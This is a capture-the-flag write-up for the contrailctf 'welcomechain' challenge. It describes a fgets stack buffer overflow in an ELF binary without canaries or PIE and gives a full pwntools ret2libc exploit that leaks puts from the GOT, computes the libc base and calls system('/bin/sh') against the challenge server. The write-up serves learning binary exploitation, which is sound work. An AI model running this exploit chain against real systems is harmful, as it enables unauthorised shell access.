Select Page
  1. Description
  2. Solution


1. Description

peilin@PWN:~/contrailctf/welcomechain$ file welcomechain
welcomechain: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=f435091d59e479e263cacd14fd27651affe9c8d5, not stripped
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

You can still play this challenge here (Jan. 17th, 2020).

libc.so.6 is given.

In welcome() we have a pretty straightforward buffer overflow vulnerability:

0x000000000040078a <+74>: lea rax,[rbp-0x20]
0x000000000040078e <+78>: mov esi,0x100
0x0000000000400793 <+83>: mov rdi,rax
0x0000000000400796 <+86>: call 0x4005d0 <fgets@plt>

fgets() reads 0x100 bytes into a 0x20 bytes long buffer, and there are no stack canaries.

Since PIE is off, its pretty easy to leak the GOT by reusing puts().

[DEBUG] PLT 0x40058c putchar
[DEBUG] PLT 0x4005a0 puts
[DEBUG] PLT 0x4005b0 setbuf
[DEBUG] PLT 0x4005c0 printf
[DEBUG] PLT 0x4005d0 fgets
[DEBUG] PLT 0x4005e0 sleep

Well we have a plenty of choices here, just choose one that is resolved before the vulnerable fgets() is called. I choose puts() itself. Well, why not? 🙂

So the plan is:

  1. Trigger the overflow;
  2. Leak the address of puts();
  3. Calculate the base address of libc, as well as system() and "/bin/sh";
  4. Return to welcome() and trigger the overflow again;
  5. Do system("/bin/sh")


2. Solution

Just do it. I used an rdi gadget from __libc_csu_init(), and a ret gadget from welcome(). The ret gadget is necessary in order to make the stack 16 bytes aligned before entering system(), to bypass the movaps issue.

My exp: 

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

p = connect("114.177.250.4", 2226)
e = ELF('./welcomechain')
l = ELF('./libc.so.6')

prefix = 'A' * 40

# binary
pop_rdi_ret = 0x400853 # __libc_csu_init()
ret         = 0x4007b9 # welcome()

# libc
binsh_ofs  = 0x1b3e9a 

def leak():
    payload  = prefix
    payload += p64(pop_rdi_ret)
    payload += p64(e.got['puts'])
    payload += p64(e.plt['puts'])
    payload += p64(e.symbols['welcome'])

    p.recvuntil("Please Input : ")
    p.sendline(payload)
    p.recvline()
    
    puts_addr = u64((p.recvline())[0:6] + "\x00\x00")
    libc_base = puts_addr - l.symbols['puts']

    return libc_base

def shell(libc_base):
    binsh_addr  = libc_base + binsh_ofs
    system_addr = libc_base + l.symbols['system']
    
    payload  = prefix
    payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_addr)
    payload += p64(system_addr)

    p.recvuntil("Please Input : ")
    p.sendline(payload)
    p.recvline()

libc_base = leak()
print("libc base addr: %s" % hex(libc_base))
shell(libc_base)

p.interactive()